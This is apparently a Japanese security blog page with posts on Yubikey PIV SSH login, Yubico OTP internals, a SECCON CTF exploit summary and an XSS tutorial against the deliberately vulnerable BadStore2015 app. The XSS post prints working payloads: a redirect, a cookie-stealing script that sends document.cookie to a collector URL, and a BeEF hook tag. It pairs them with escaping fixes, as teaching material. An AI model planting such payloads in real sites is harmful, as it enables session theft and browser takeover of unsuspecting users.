試運転ブログ

コーラは一日一本まで

YubikeyのPIVを使ってsshしてみる

YubikeyのPIVが気になったのでsshでの使い方を試してみたメモ。 PIV自体については何もわからない。

Yubikeyとはこんな感じのもの。

f:id:otameshi61:20161230002407j:plain

Yubikey PIV Manager をここから落とす。

https://developers.yubico.com/yubikey-piv-manager/Releases/

webサイトでは、以下のコマンドラインツールを使って説明される。

github.com

ただし、macOS上では(たぶん他のOSでも)、ビルドが非常に面倒(./configureが成功してからが勝負)で、ビルドできたとしてもwebサイト通り使っても動作しないため、今回は使わない。 とはいえ、コマンドラインからしか指定できないオプションもあるため、なんとかはしたい。

現時点でのPIVに対する認識は、PKCS#11 で定義されたインターフェースを通じてデバイス内の秘密鍵(今回はYubikey内の秘密鍵)へアクセスし、認証を行うやつ、くらいです。

ここら辺を読むとPIVのプロになれるっぽい。

csrc.nist.gov

秘密鍵を生成する

PIV Manager → Certificates を選ぶ。

f:id:otameshi61:20170521132803p:plain

Authentication → Generate new key…

f:id:otameshi61:20170521132934p:plain

設定してOKをする

f:id:otameshi61:20170521133322p:plain

PIN(6〜8桁の文字)を入力する。

f:id:otameshi61:20170521133237p:plain

これでYubikeyの設定完了。

f:id:otameshi61:20170521133815p:plain

Export certificate… と Delete certifiacte… が選択できるようになる。

Exportした証明書をみてみるとこんな感じ。

❯ openssl x509 -in yubikey_piv.pem  -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            cd:6f:bb:37:07:b4:d0:7f
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=saso
        Validity
            Not Before: May 21 04:36:59 2017 GMT
            Not After : May 21 04:36:59 2018 GMT
        Subject: CN=saso
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:95:6c:78:ac:c5:56:73:bb:73:9b:c8:fa:04:2f:
                    32:ad:95:1a:96:ae:4e:41:5a:8d:09:6a:c9:d9:0e:
                    fb:2f:37:fc:9e:81:ac:91:59:9d:59:52:92:d4:d9:
                    d2:38:96:a9:3d:ed:88:ad:ee:a3:fd:a4:84:de:71:
                    7f:ee:65:50:75:32:72:aa:75:c2:ca:95:2c:9e:a5:
                    ca:4c:cd:0b:3b:0b:d1:f9:58:00:5d:aa:ce:ec:30:
                    4b:42:57:f0:ec:92:34:9b:67:96:f5:8d:79:13:8b:
                    c9:bf:2e:a5:8c:99:58:34:43:15:8a:3b:76:88:45:
                    b0:8f:da:52:bc:8c:73:fb:1c:cd:05:47:34:6a:bb:
                    47:09:e9:8a:a4:cf:bb:58:ae:a7:60:3b:1c:cc:93:
                    98:fd:b3:9c:67:ee:44:0d:ce:dc:6e:c4:31:fe:c7:
                    c7:98:dc:9b:e2:e0:b5:88:da:2e:e5:20:3f:73:c5:
                    2d:b4:7b:86:71:d1:81:8b:9e:83:04:46:ad:84:83:
                    5e:41:53:75:ae:29:b2:b7:5a:33:22:0c:bf:fa:8d:
                    a2:ae:52:05:ae:e2:55:7c:4b:ee:41:38:e8:48:19:
                    7c:67:c0:09:45:21:b5:ab:c0:aa:33:44:c0:28:4d:
                    6e:36:53:2a:e0:5e:af:5b:b3:d6:63:9a:84:7a:39:
                    2a:2d
                Exponent: 65537 (0x10001)

PIVを使ってsshする

Yubikey内の秘密鍵へアクセスするためには、OpenSCというオープンソースPKCS#11の実装を使う。

github.com

以下のコマンドで公開鍵を読み出せる。

❯ ssh-keygen -D /usr/local/opt/opensc/lib/opensc-pkcs11.so -e
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVbHisxVZzu3ObyPoELzKtlRqWrk5BWo0JasnZDvsvN/yegayRWZ1ZUpLU2dI4lqk97Yit7qP9pITecX/uZVB1MnKqdcLKlSyepcpMzQs7C9H5WABdqs7sMEtCV/DskjSbZ5b1jXkTi8m/LqWMmVg0QxWKO3aIRbCP2lK8jHP7HM0FRzRqu0cJ6Yqkz7tYrqdgOxzMk5j9s5xn7kQNztxuxDH+x8eY3Jvi4LWI2i7lID9zxS20e4Zx0YGLnoMERq2Eg15BU3WuKbK3WjMiDL/6jaKuUgWu4lV8S+5BOOhIGXxnwAlFIbWrwKozRMAoTW42UyrgXq9bs9ZjmoR6OSot

公開鍵をログインしたい.ssh/authrorized_keysに追加する。

❯ ssh -I /usr/local/opt/opensc/lib/opensc-pkcs11.so test@ub.local
Enter PIN for 'PIV_II (PIV Card Holder pin)':

Last login: Sun May 21 13:06:18 2017 from 192.168.56.1
test@ubuntu:~$

PINを入力することでログインできる。

まとめ

YubikeyがサポートしているPIVを使って見た。

GUIでぽちぽちやってるだけで、基本的な設定が可能で、秘密鍵を安全に管理可能なのはよさそう。 また、sshで使うために特別大変な手順もなくて良い。

PINの入力を無くし、Yubikeyのタッチに変えられるらしいし試したい。

一部で話題のkryptcoも同様の仕組みを使っているし、何か違いがあるのか比較してみたい。 kryptcoは、以下に詳しく説明されている。 qiita.com

劇的にコマンドライン環境が快適になるpetのfishサポートをした話

前に使ったコマンドを実行したいとき、どうしてますか?

普段はfishを使ってるのですが、前に実行したコマンドを再度実行したい場合は、 peco_select_historyctrl+r で呼び出すようにしています。 そもそも、fishの補完が優秀なので使うまでもないことは多いです。

bashzshを使うときは組み込みの ctrl+r を使っていました。

慣れていれば、特に困りもしないのですが、pet という便利なスニペット管理ツールを使いはじめるとかなりコマンドライン環境が快適になりました!

macOSならbrewで簡単にはいります。

$ brew install knqyf263/pet/pet

基本的な使い方は、ツール作成者(Teppei Fukudaさん)のブログを見てください。

qiita.com

特に困ってなかったので、入れるかどうかも悩んでたんですが、READMEに書いてあるshellの設定をしてから見方がだいぶ変わりました。 ただし、READMEのzshの設定ではfishで動かなかったため、fisheroh-my-fish を使って設定できるようにしました。プラグイン管理ツールを使ってない人は雰囲気で ~/.config/fish/functions/スクリプト置けば動くと思います。

※ 現在は、以下の方法をpetのREADMEでも紹介してもらってます!ありがとうございます!

github.com

fisher を使うと、以下のコマンドでインストールできます。

$ fisher otms61/fish-pet

oh-my-fish を使っている場合は、以下のコマンドでインストールできます。

$ omf install https://github.com/otms61/fish-pet

コマンドラインで、 prevpet-select が使えるようになります。

fish_user_key_bindings を以下のように設定(layoutオプションはお好みで)すると、 ctrl+s で、 pet-select を呼び出すようにできます。

function fish_user_key_bindings
  bind \cs 'pet-select  --layout=bottom-up'
end

fishユーザの方は、ぜひ!

二要素認証に使われてるYubico OTP の仕組み

2要素認証に利用できるデバイスに、Yubico社が提供するYubikeyというものがあります。

f:id:otameshi61:20161230002407j:plain

Yubikeyでは様々な機能を使えますが、初期状態で利用できるものにYubico OTP(One-Time password)があります。 Yubico OTPは、非常に安全な仕組みだと思いますが、公式ドキュメントがやや分かりづらいこともあり書きました。

Yubico OTPとは

Yubico OTP は、Yubicoが定めるOTP(One-Time Password)の形式であり、Yubikeyから正常に生成されたOTPかどうかを検証することができます。

このOTPを「私が所持するYubikeyから生成されたものかどうか」を検証することで、二要素認証の要素として利用できます。 sshログインで二要素認証にYubico OTPの使い方は、他の方が書かれているので興味のある方は検索してみてください。

Yubikeyは、USBキーボードとして認識され、円の部分をタップすることでYubico OTPを生成し、キー入力されます。

f:id:otameshi61:20161230002451g:plain

OTP(One-Time Password)という名前からもわかる通り毎回生成される文字列が異なります。 例えば、2回生成をすると、以下のような文字列が生成されます。

vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif
vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji

異なる文字列が生成されていることがわかるかと思います。

Yubico OTPの検証サーバー

OTPが、Yubikeyから生成されたのか、でたらめな文字列なのかを検証する仕組みがYubico社から提供されています(YubiCloud)。 下図は、password + Yubikeyの2要素認証を行するフローで、青色の部分でOTPをYubiCloudに問い合わせています。

1要素目のpasswordが検証されたあとに、OTPの検証をしていることがわかるかと思います。この2つの要素の認証が両方成功して、この認証は成功になるという流れです。

f:id:otameshi61:20161230002515p:plain https://developers.yubico.com/OTP/Libraries/Using_a_library.html

YubiCloudはOTPが正しいかどうかを検証するだけで、Yubikeyとユーザとの紐付けはServer側の責任となります。 Yubico OTPでは、どのYubikeyから生成されてるいるのか判別出来るように、public IDというYubikey毎に固定の値が先頭につきます。

OTPが「私が所持するYubikeyから生成されたものかどうか」は、

  1. サーバ側で、Yubikeyのpublic IDとユーザーの登録したpublic IDが正しいか
  2. YubiCloudによるOTPの検証結果

から分かります。

Modhex形式

ここからは、生成されたOTPについて説明していきます。

Yubico OTPは、16進数をModhex方式(Yubico社が定めたエンコーディング方式)で別の文字に置換されています。

YubikeyはUSBキーボードとして認識されるので、PCに設定されているキーボード設定によっては、入力がぶれてしまうことがあるそうです。 Modhex形式では、様々なキーボードでのぶれが起きにくい文字が使われているそうです。

16進数 0 1 2 3 4 5 6 7 8 9 a b c d e f
Modhex c b d e f g h i j k l n r t u v

Modhex形式を16進数に戻すコードは以下のようになります。

d = {'b': '1', 'c': '0', 'd': '2', 'e': '3', 'f': '4', 'g': '5', 'h': '6', 'i': '7', 'j': '8', 'k': '9', 'l': 'a', 'n': 'b', 'r': 'c', 't': 'd', 'u': 'e', 'v': 'f'}

def modhex2hex(x):
  return ''.join([d[i] for i in x])

この関数でOTPを16進数に変換するとこのようになります。

>>> print(modhex2hex('vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif'))
fff5edf7b76583abac0d5cfe9c916d1cccde525b2074

>>> print(modhex2hex('vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji'))
fff5edf7b7658c0b9594a3c456429787e2fadddebd87

馴染みのある16進数の表現になりましたね。 これ以降のOTPは16進数に変換後の値を使います。

public IDと暗号文

Yubico OTPは44文字の文字列で、public ID(先頭12文字)と暗号文(残り32文字)からなります。正確にはpublic IDの長さは設定で変えられますが、YubiCloudで使えるYubico OTPに話を限定します。

public IDは、OTPの中で固定の値です。 設定で変更できますが、工場出荷状態で使える設定では、必ずユニークな値となっています。

暗号文には、OTPがYubikeyから生成されたものかを検証するための情報が含まれています。

先ほどの同じYubikeyから生成した2つのOTP

  • fff5edf7b76583abac0d5cfe9c916d1cccde525b2074
  • fff5edf7b7658c0b9594a3c456429787e2fadddebd87

をpublic ID と 暗号文に分けると以下のようになります。

public ID 暗号文
fff5edf7b765 83abac0d5cfe9c916d1cccde525b2074
fff5edf7b765 8c0b9594a3c456429787e2fadddebd87

public IDが同じで、暗号文は変わっていることがわかります。

暗号化方式とその鍵

暗号化にはAES-128が使われています。

鍵はYubikey内と検証サーバー(YubiCloud)に保存されています。 YubiCloudでは、public IDから鍵を取り出し復号します。

工場出荷時に、YubiCloudへpublic IDと鍵の登録はされているので、Yubico OTPはすぐに使うことができるというわけです。

また、Yubikeyは設定に対して、書き込みを行うためのインターフェースしか用意されておらず、読み込みができないため、鍵はYubico OTP設定時にのみ分かるようになっています。

初期状態では工場でYubico OTPの設定がされているので、購入者も鍵を知ることができません。 Yubikeyの利用者は、鍵を知らずに(知ることが出来ずに)OTPを生成し、Yubico OTPという仕組みを使用することができます。

鍵の情報漏洩を心配しなくて良いのはYubikeyなどのデバイスを通した認証の良いところですね。 鍵の入ったデバイスが盗まれてしまったら元も子もないですが、public IDに紐づく情報を無効化することで被害を抑えられます。

暗号文の中身

暗号文の中身で、検証に重要な値として、

  • private ID
  • Counter

があります。

private IDは、鍵と同様に、工場で設定されYubiCloudに登録されている値です。 public IDは公開情報なので、他人のpublic IDになりすまそうとすることができますが、暗号文内のpublic IDに紐づいているprivate IDの値は分からないため、なりすましを防ぐことができます。

Counterは、YubikeyでOTPを生成する毎にカウントアップされる値です。YubiCloudでは、最後に検証したCounterを保持されており、入力されたOTPのカウンターと最後に使用したカウンターの値を比較することで、使い回しなどを防ぐことができます。 また、過去に生成したOTPが漏洩してしまったとしても、そのあとに生成したOTPを使用することで簡単に漏洩したOTPを使用できなくすることができます。

結局、YubiCloudでは、暗号文を復号し、

  1. private IDが正しいか
  2. Counterの値が新しいか

を検証します。

以下は、Yubicoのサイトに記載されている検証の流れを示した図です。

f:id:otameshi61:20161230002549p:plain https://developers.yubico.com/OTP/OTPs_Explained.html

ここまでの、まとめ

  • Yubico OTPは、YubiCloudによって検証できる
  • 暗号部分はAESで暗号化されており、購入者も鍵を知ることができないので、鍵の漏洩を心配しなくて良い
  • 暗号化された情報で改ざん防止や使い回しの防止がされている

暗号文の中身

ここからは、暗号文の中身を見ていくことで、Yubico OTPの詳細な仕様を見ていこうと思います。

暗号文の中身は16バイトで以下の値が入っています。

field名 バイト数
uid 6 private(secret) ID
useCtr 2 Usage counter
tstp 3 Timestamp
sessionCtr 1 Session usage counter
rnd 2 Random number
crc 2 CRC16 checksum

https://mowa-net.jp/wiki/YubiKey#Yubico_OTP.2BMG5O1WnY-

  • uid: public IDと1対1で対応したID。private ID。
  • useCtr: USBを抜き差しするとカウントアップされる不揮発な値。
  • tstp: デバイス起動時からカウントされる8Hzのタイマーの値。
  • sessionCtr: 揮発性の値で、USBが差さっている間に、Yubico OTPを生成するとカウントされる。
  • rnd: 乱数。
  • crc: 16bit ISO13239 1st complement checksum だそうです。チェックサム

カウンターの上限について

Yubico OTPのカウンターは、不揮発性のuseCtrと揮発性のsessionCtrの2つあります。

最後に使用したuseCtrより大きければOK、小さければNGです。useCtrが同じ場合は、sessionCtrが大きければOK、同じか小さければNGとなっています。

sessionCtrは、1バイトなので256回タップすると上限に達します。次のタップでは、useCtrがカウントアップし、sessionCtrは0になります(確認済み)。

useCtrは、2バイトなので、65535まで値を保持できます。sessionCtr 1日10回抜き差しすると大体17年くらい使える感じです。 上限に達する前に(かなり丈夫に作られてるとはいえ)壊れてしまいそうですが、上限に達したらもう一度設定し直すしかないらしいです。

Yubikey Personalization tools

暗号文の詳細を追ってくために、実際に暗号文を復号してみたいと思います。

Yubikey Personalization tools というYubikeyの設定ツールがあります。 これを使うとYubico OTPの設定を変えることができ、public ID、private IDと鍵を知ることができます。

s_Screen Shot 2016-11-20 at 14.50.54.png

新しく生成したpublic IDとprivate IDと鍵のペアをYubiCloudにアップロードすることで、Yubico OTPが使えるようになります。

自分で生成したものは先頭がvvとなり、工場で生成されたものはccから始まるよう決められており、自分で生成したものかはpublic IDから判別することが可能です。

暗号文の実際の値

鍵が a9 e2 29 33 2e 87 0f 26 1e a5 5a 2a bd ef da e0 に設定されたYubico OTPの中身を見て行きたいと思います。

以下が、復号や暗号化するコードです。

gist.github.com

以下の5つのOTPを復号してみようと思います。

vvntibfekfkkuvrvubtictldndbenurgrgbukhkutild
vvntibfekfkkcgfeljervjjcejvjkvttthndftrtbdrf
vvntibfekfkkbnkhcdiuhbbbflbuitdnecbkbnlkchgv
vvntibfekfkkbevrttebkucvbdrntikdicluudifdgil
vvntibfekfkkjfvttcrfvdkrrrvdidrrrdlcdefvhege

結果は、

$ python Yubico.py
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:f011a4 sessionCtr:00 rnd:adfd crc:7855 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:fe11a4 sessionCtr:01 rnd:cd73 crc:1308 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:1312a4 sessionCtr:02 rnd:d3dd crc:1599 >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:5bd808 sessionCtr:00 rnd:f2d7 crc:ae1f >
< public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:7fd808 sessionCtr:01 rnd:7326 crc:121d >

このようになります。 最初の3個は、同じuseCtrで、sessionCtrがカウントアップされていることがわかります。 4個目のYubico OTPを生成する前に、Yubikeyを抜き差ししました。4個目のuseCtrが2になり、sessionCtrが0に戻っていることが分かります。

checksumの計算

自分でOTPを計算していきたいと思います。

crcは、それ以外のfieldの値を使ってchecksumを計算します。 マニュアルに載っているコードは、一部間違っているようでしたので注意が必要です。

以下のコードが、チェックサムの計算と検証するコードです。

def update_crc(crc, x):
    crc ^= x
    for _ in range(8):
        flag = crc & 1
        crc >>= 1
        if flag != 0:
            crc ^= 0x8408
    return crc & 0xffff


def get_crc(s):
    assert len(s) == 14, "Invalid length"
    crc = 0x5af0
    for i in s:
        crc = update_crc(crc, i)
    return crc
    

def verify_crc(s):
    assert len(s) == 16, "Invalid length"
    crc = 0xffff
    for i in s:
        crc = update_crc(crc, i)
    return crc == 0xf0b8

YubiCloudで検証

YubikeyによるYubico OTPの生成をみてきましたが、これらの情報が検証サーバ(YubiCloud)で正しく検証されるか見ていきたいと思います。

Validation Protocol に書かれていますが、

http://api.yubico.com/wsapi/2.0/verify?otp=vvvvvvcucrlcietctckflvnncdgckubflugerlnr&id=87&timeout=8&sl=50&nonce=askjdnkajsndjkasndkjsnad

にリクエストを送ることで、OTPが正しいかを検証することができます。 OTPをotpというパラメータにセットし、それ以外のパラメータはそのままでリクエストを送ります。

YubiCloudに登録している、public IDで生成した正常なOTPを送って見ます。

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad
status=OK

status=OK から、正しいOTPであることが分かります。

同じOTPを再度、送って見ます

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_REQUEST

status=REPLAYED_REQUEST より、再送されたものであることが分かります。

その他にも、 過去のOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdficvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=REPLAYED_OTP

一文字書き換えたOTPを送ると

$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdgicvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad

status=BAD_OTP

となり、きちんとNGが返ってきていることが確認できます。

自分で生成したOTPを検証する

以下のpublic ID(ff39a66437d3) と private ID(065c6ad736b4)と鍵でYubiCloudに登録し、以下のOTPを検証したとします。

# vveklhhfeitehunflcgniugkjencelvjcfgjrublthei
< public_id:ff39a66437d3 private_id:065c6ad736b4 useCtr:0001 tstp:aa4865 sessionCtr:02 rnd:03cd crc:fc31 >

useCtr が1、sessionCtrが2なので、タップすればuseCtrが1、sessionCtrが3のOTPが生成されるます。 この条件で、OTPを生成し、検証してみます。

y1 = Yubico.calc_otp(key, 0xff39a66437d3, 0x065c6ad736b4, 0x01, 0x03)
print(y1.otp)  # => vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl

これを実行することで、vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl が得られます。

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが2。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
h=pNQ0bQIYZx2iBHoktz5aVjDGFvk=
t=2016-12-30T03:56:09Z0559
otp=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 自分で計算したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
h=6jnCfVVKSa0wBSlZWdZcfoIKL3k=
t=2016-12-30T04:00:39Z0699
otp=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# 普通に生成したOTPの検証。useCtr が1、sessionCtrが3。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
h=k3b7zIJOLmAflOJmwYOPzyl8wSw=
t=2016-12-30T04:00:51Z0931
otp=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

二つ目の結果から自分で生成したOTPが、検証でOKを返していることがわかります。このリクエストにより、YubiCloudのカウンターが更新され、3個目にYubickey経由で生成したOTPにも関わらず検証が失敗していることがわかります。

せっかくなのでカウンターがマックスまでいったとき、オバーフローとかして、また最初から使えないかみてみます。

# useCtr が0xffff、sessionCtrが0xff。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=gEwRfJPLZ6PTjTwnyY0lXvsgvZ4=
t=2016-12-30T04:15:05Z0073
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
sl=50
status=OK

# useCtr が0x0、sessionCtrが0x0。
$  curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
h=7bNNnRVlNpH/CFPbKKF943MM1JI=
t=2016-12-30T04:15:17Z0875
otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf
nonce=askjdnkajsndjkasndkjsnad
status=REPLAYED_REQUEST

サーバ側でオバーフローなどはしないので、やはり設定をし直すしかなさそうですね。

後半の、まとめ

  • Yubico OTPの暗号化されている中身を詳細にみてみた
  • 実際に暗号文を復号し、挙動を確かめた
  • 暗号化するコードを作り、正しく検証されるか確かめた

さいごに

Yubico OTPは、普通の使い方では鍵がもれる心配をしなくてよいためとても安全な仕組みかと思います。 公式マニュアルがややわかりにくかったのとYubicoの独自認証プロトコルなので資料がほぼなかったので書いてみました。 何かしら興味をもっていただければ幸いです。

参考

その他にもYubikeyのことが書かれた日本語のブログはお世話になりました。

もし公式ドキュメントを読みたい方は、

  • ドキュメント量は多いが整理されていないので注意する
  • 名称のブレがとにかく激しいので、ノリで理解する
    • 例えば、public ID, Yubikey Token, publicname は全部同じものを指します。

に注意してください。

どこか間違っている点や疑問点などあればコメントいただけると助かります。

SECON 2016 Online CTF

SECON 2016 Online CTFにでた。 チームは、shioshiotaで参加した。2000ptで39位だった。

24時間の健康的なCTFだった。pwn担当が一人のチームだと48時間欲しいなぁー、と思った。 僕が解いたのは、以下の4問。

  • [Exploit] cheer msg (100pt)
  • [Exploit] jmper (300pt)
  • [Exploit] checker (300pt)
  • [Binary] ropsynth (400pt)

どれも面白かったです😀

運営のみなさまありがとうございました🙏

以下、コードは汚いのと解説する気はないですが、こんな感じで解きました。

[Exploit] cheer msg (100pt)

Message Length によって、espが変わる。

Message Length に負の値を指定することができ、名前を保持しておく変数を戻りアドレスを指すように調整して、ropするだけ。

攻撃コードは、これ👇

cheer_msg.py · GitHub

[Exploit] jmper (300pt)

なんか学生を追加したり、名前つけたり、メモをかける。

メモを書くところにoff-by-oneがあり、名前の文字列を指すポインタの1バイトを書き換えられる。これを使って任意のアドレスの書き換えが可能になる。

GOT は書き換えられず、setjmp/longjmp があり、いかにもこれを使って攻撃してくれといっている感じだった。

復帰に使われる、jmp_buf構造体には、復帰のアドレスとスタックポインタがエンコードがされて保持されている。

これをsystem("/bin/sh")を実行するようにすればよいだけ。

攻撃コードは、これ👇

jmper.py · GitHub

[Exploit] checker (300pt)

メモリ上にのったフラグの文字列を読み出す問題。

jmper解いた後だったので、300点・・・?、という感じだったが、不備があって簡単になっていたらしい。

canary破壊した時に出るエラーメッセージのアレで、flag読み出す。

攻撃コードは、これ👇

checker.py · GitHub

[Binary] ropsynth (400pt)

rop のgadgetに使えるバイナリが降ってきて、そこからフラグを読み出すrop chainを送り返す問題。

5回連続で攻撃を成功させる必要があるが、各段階に難易度の変化はない。また、gadgetはちょっと面倒だが、そんな複雑ではないのでパースして組み立てるだけ。

攻撃コードは、これ👇

r.py · GitHub

以上です。

Bugfix Backend を攻撃してみた(XSS編)

全体の概要と注意事項は以下の記事で説明しているので、必ず目を通して欲しい。otameshi61.hatenablog.com

XSS

HTML生成の部分で問題があると、Cross-site scripting(XSS)という脆弱性が起こる。XSSを利用した攻撃の一つとして、JavaScriptをサイトに埋め込むことができる。

原因

ユーザーから受け取った文字列をサニタイジング(無害化)を行っていないことが原因である。特に、HTMLの特殊文字サニタイジングの方法としてはHTMLのエスケープがある。e-words.jp

HTMLのエスケープを行わずにユーザーからの入力を出力を行う箇所が存在した場合、XSSの攻撃が可能となる場合がある。

Badstore2015では、doguestbook.phpの以下の部分

<?php echo $row['comment']; ?>

において、ユーザーから受け取った文字列をそのまま出力している。この時にユーザーが
f:id:otameshi61:20150405135459p:plain
と入力を行うと、出力部では、このようにimageタグが埋め込まれた表示になる。
f:id:otameshi61:20150404153618p:plain

ページのソースをみると
f:id:otameshi61:20150404153712p:plain

となり、タグがそのまま入力されていることが分かる。

対策

PHPでは、htmlspecialcharsという関数でHTMLのエスケープを行うことができる。
http://php.net/htmlspecialchars

<?php echo htmlspecialchars($row['comment'],ENT_COMPAT,'UTF-8'); ?>

HTMLのエスケープを行った後の表示はこのようになる。
f:id:otameshi61:20150404154237p:plain

ページのソースはこのようになる。
f:id:otameshi61:20150404154245p:plain

< が & lt; となっており、特殊記号が実体参照に変換されていて、HTMLのエスケープが正しく行われていることがわかる。

しかし、HTMLのエスケープだけではサニタイズが不十分な場合がある。そのような例は、後ほど紹介する。

被害

上記ではimageタグの埋め込みという無害な例を示した。XSSの攻撃では、scriptタグの埋め込みによるブラウザ上での攻撃がなされる。

JavaScriptの攻撃では、リダイレクトやcookieの盗み出しなどがある。JavaScriptがほとんど書けない人でも様々な攻撃を容易にするフレームワークとしてBeEFが存在する。

順に説明していく。

リダイレクト

リダイレクトは、

<script>window.location = "http://localhost/hoge.php";</script>

を埋め込むことで、このページにアクセスしてきた相手をhttp://localhost/hoge.php に飛ばすことができる。
攻撃者としては、フィッシングサイトやマルウェアの配布サイトやアフィリエイト稼ぎのサイトに飛ばすことができる。

cookieの盗み出し

cookieの盗み出し
被害者のセッションIDを盗んで相手のセッションを奪う攻撃に利用される。JavaScriptからCookieを送信するコードを書いても良いが、たとえば

<script>window.location = "http://localhost/hoge.php?cookie="+document.cookie;</script>

と書き込めばクッキー情報をつけたままアクセスが行われる。取集用のスクリプトを用意しても良いし、アクセスログからもクッキー情報を抜くことができる。

BeEF

XSSの攻撃を容易するために、BeEFというフレームワークがある。この他にもMetasploit のxssfというフレームワークが有名である。
これらのフレームワークでは、攻撃スクリプトを読み込むことでブラウザの攻撃を行う。
以下のようなBeEFの実行画面
f:id:otameshi61:20150404161042p:plain

攻撃スクリプトの読み込みは、画像のHook URLを読み込むようにすればよい。

<script src='http://127.0.0.1:3000/hook.js'></script>

このタグを埋め込まれたページを踏んだユーザーを管理と攻撃を行う管理画面は以下のようになっている。
f:id:otameshi61:20150404161326p:plain

JavaScriptをあまり知らないひとでも簡単に相手の情報を盗み、web カメラを起動したり、ブラウザで音をならしたり、フィッシングサイトに招いたりすることが、GUIを利用してぽちぽちボタンを押してるだけで出来る。

発展的な内容

HTMLのエスケープでは、サニタイズとして不十分な例を示す。
"メッセージを残す"では、URLを指定しpageにリンクを埋め込むことができる。

作成者の想定通りの利用法
  • 入力

f:id:otameshi61:20150405151942p:plain

  • 表示

f:id:otameshi61:20150405151957p:plain

  • ページのソース

f:id:otameshi61:20150405152008p:plain

JavaScriptはa要素のhref属性の属性値として、javascript:JavaScript式という形式でJavaScriptを起動することができる。
以下のようにすることで、HTMLのエスケープを回避してJavaScriptを埋め込むことができる。

悪意のある利用法
  • 入力

f:id:otameshi61:20150405152545p:plain

  • pageを押した後の挙動(JavaScriptが実行されていることがわかる)

f:id:otameshi61:20150405152737p:plain

  • ページのソース

f:id:otameshi61:20150405152552p:plain

対策

hrefに出力する前に、http: かhttps: で始まるURLになっているか、/から始まる相対パスになっているかを確認するようにする

まとめ

Badstore2015において発生するXSSの問題について簡単に触れた。

Bug Fix Backend を攻撃してみた

ADF2015のBug Fix Backendで利用したアプリケーションのバグを修正するのではなく、攻撃するという私が勝手にやりたかったコンテンツである。

ADF2015などについては、otameshi61.hatenablog.com

この記事では、2日目の夜にLT会の「Bug Fix Backendを攻撃してみた」において、話すつもりであったトピックに幾つか触れてみる。ちなみに、私のLTは2日目の最後であり諸々のスケジュールが押したため省略された。悲しい。

対象とするアプリケーションはBug Fix Backendで利用したもので、以下で公開している。画像などは少し変更している。また、いくつかのバグの修正と機能を加えている。

github.com

BadStore2015

BadStore2015はPHPで実装された簡易ショピングサイトである。

扱うセキュリティ上の問題

今回扱うセキュリティ上の問題は、主に3点

  • XSS
  • SQL Injection
  • Passwordの保持の仕方について

本文を書いてたら長くなったので、それぞれ別の記事にする。

  • XSS編
  • SQL Injection編(近日公開予定)
  • Passwordの保持の仕方について編(近日公開予定)

近日公開予定と書いたが、記事を書かない気しかしない。

はじめに

攻撃をしながらセキュリティ上の問題を眺めてみることが本記事の目的である。

最近では便利なフレームワークがたくさんあり、フレームワークの規約にしたがっている限りはセキュリティ上の問題は発生しにくい。それはそれで良いのだが、有名なサイトでもクラックされている現状を見る限り、どこかに問題が入り込む可能性は捨てきれない。

ここで紹介するのはPHPだから起こる問題ではない。Web アプリケーションであれば、これらのセキュリティ上の問題が起こる可能性を内在している。大抵の場合、フレームワークがいつの間にかに問題が起きないようにうまく処理してくれている。

